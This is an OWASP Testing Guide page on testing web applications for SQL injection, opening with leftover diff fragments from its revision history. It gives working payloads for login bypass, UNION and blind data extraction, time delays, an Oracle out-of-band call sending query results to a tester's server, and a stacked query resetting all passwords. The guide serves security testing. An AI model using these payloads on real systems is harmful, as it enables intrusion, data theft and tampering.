function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET
function UTL_HTTP.request. This Oracle function will
+
try to connect to ‘testerserver’ and make a HTTP GET
+
 
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver
 
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver
 
(e.g. Apache) or use the Netcat tool:
 
(e.g. Apache) or use the Netcat tool:
Line 645: Line 440:
  
 
    
 
    
=== Time day Exploitation technique ===
+
=== Time delay Exploitation technique ===
 
    
 
    
The Boolean
+
The Boolean exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
+
 
which nothing is known on the outcome of an operation. This technique consists
 
which nothing is known on the outcome of an operation. This technique consists
 
in sending an injected query and in case the conditional is true, the tester
 
in sending an injected query and in case the conditional is true, the tester
Line 654: Line 448:
 
the tester can assume the result of the conditional query is true. This
 
the tester can assume the result of the conditional query is true. This
 
exploitation technique can be different from DBMS to DBMS (check DBMS specific
 
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)
+
section)
  
 
   
 
   
Line 663: Line 457:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
+
  
 
   
 
   
Line 676: Line 469:
  
 
   
 
   
In this example
+
In this example the tester if checking whether the MySql version is
the tester if checking whether the MySql version is
+
5.x or not, making the server to delay the answer by 10 seconds. The tester can
5.x or not, making the server to delay the answer in 5 seconds. The tester can
+
increase the delay time and monitor the responses. The tester also doesn’t
increase the delay’s time and monitor the responses. The tester also doesn’t
+
 
need to wait for the response. Sometimes he can set a very high value (e.g.
 
need to wait for the response. Sometimes he can set a very high value (e.g.
 
100) and cancel the request after some seconds.
 
100) and cancel the request after some seconds.
Line 695: Line 487:
  
 
   
 
   
Create
+
Create procedure user_login @username varchar(20), @passwd varchar(20) As
procedure user_login @username varchar(20), @passwd varchar(20) As
+
 
+
+
 
Declare @sqlstring varchar(250)
 
Declare @sqlstring varchar(250)
 
 
 
Set @sqlstring  = ‘
 
Set @sqlstring  = ‘
 
+
Select 1 from users
+
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
Select 1
+
from users
+
 
+
+
Where
+
username = ‘ + @username + ‘ and passwd
+
= ‘ + @passwd
+
 
+
+
 
exec(@sqlstring)
 
exec(@sqlstring)
 
Go
 
Go
 +
 
User input:
 
User input:
 
anyusername or 1=1'
 
anyusername or 1=1'
Line 722: Line 501:
 
   
 
   
 
This procedure does not sanitize the input, therefore allowing the
 
This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
+
return value to show an existing record with theseparameters.<br> <br>
parameters.<br> <br>
+
 
 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
 
user, but consider a dynamic reporting query where the user selects the columns
 
user, but consider a dynamic reporting query where the user selects the columns
Line 743: Line 522:
  
 
   
 
   
1 from
+
1 from users; update users set password = 'password'; select *
users; update users set password = 'password'; select *
+
  
 
   
 
   
Line 760: Line 538:
 
== Related Articles ==
 
== Related Articles ==
  
* [[Top 10 2010-Injection Flaws]]
+
* [[Top 10 2013-A1-Injection]]
 
* [[SQL Injection]]
 
* [[SQL Injection]]
  
Line 775: Line 553:
  
 
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
 
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
+
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
 
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
 
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
 
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
 
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
 
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
+
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
 
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
 
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
  
 
'''Tools'''<br>
 
'''Tools'''<br>
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
+
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
 
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
 
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
 
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br>
 
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br>
Line 790: Line 568:
 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
 
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
 
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
+
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
 
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
 
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
 
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br>
 
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br>
* http://sqlsus.sourceforge.net
 
 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl
 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Latest revision as of 08:10, 10 March 2014

This article is part of the new OWASP Testing Guide v4. 
At the moment the project is in the REVIEW phase.

Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: http://www.owasp.org/index.php/OWASP_Testing_Project

Contents


Brief Summary

A SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

Description of the Issue

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

select title, text from news where id=$id

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

select title, text from news where id=10 or 1=1

SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
  • Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
  • Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

  • Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

SQL Injection Detection

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

  • Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
  • Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
  • E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the 
character string ''.
/target/target.asp, line 113

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

Standard SQL Injection Testing

Example 1 (classical SQL Injection):

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

The query will be:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' 

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.
In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases. Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) 

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

$username = 1' or '1' = '1'))/*
$password = foo

In this way, we'll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) 

(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo 

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/* 
$password = foo 

In this way, we create a request like the follow:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo 


Example 2 (simple SELECT statement):


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.


Consider the request:


http://www.example.com/product.php?id=10 AND 1=2


SELECT * FROM products WHERE id_product=10 AND 1=2


In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:


http://www.example.com/product.php?id=10 AND 1=1


Example 3 (Stacked queries):


Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


A way to exploit the above scenario would be:


http://www.example.com/product.php?id=10; INSERT INTO users (…)


This way is possible to execute many queries in a row and independent of the first query.


Fingerprinting the Database

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.


When the testers move to a more advanced SQL injection exploitation they need to know the backend.


1) The first way to find out which is the backend is by observing the error returned by the application. Follow are some examples:


MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1


Oracle:

ORA-00933: SQL command not properly ended


MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string


PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.


2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:


MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:


SELECT Name, Phone, Address FROM Users WHERE Id=$id


We will set the following $id value:


$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable


We will have the following query:


SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable


Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.


The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.


In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:


http://www.example.com/product.php?id=10 ORDER BY 10--


If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:


Unknown column '10' in 'order clause'


After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:


http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--


If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):


http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--


Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:


http://www.example.com/index.php?id=1'

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:


SELECT field1, field2, field3 FROM Users WHERE Id='$Id' 

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:


SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.


ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.


LENGTH (text): it gives back the number of characters in the input text.


Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:


$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 

That creates the following query (from now on, we will call it "inferential query"):


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:


$Id=1' AND '1' = '2 

Which will create the following query:


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' 

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.


In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.


We will insert the following value for the field Id:


$Id=1' AND LENGTH(username)=N AND '1' = '1 

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' 

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.


The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.


Error based Exploitation technique

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be (e.g. Oracle 10g):


http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--


In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:


ORA-292257: host SCOTT unknown


Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.


Out of band Exploitation technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server.


Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be:


http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--


In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:


/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close


Time delay Exploitation technique

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section)


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be (e.g. MySql 5.x):


http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--


In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.


Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.


Consider the following SQL Server Stored Procedure:


Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go

User input: anyusername or 1=1' anypassword


This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.
Consider the following SQL Server Stored Procedure:


Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go

User input:


1 from users; update users set password = 'password'; select *


This will result in the report running and all users’ passwords being updated.


Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap


Related Articles


Technology specific Testing Guide pages have been created for the following DBMSs:

References

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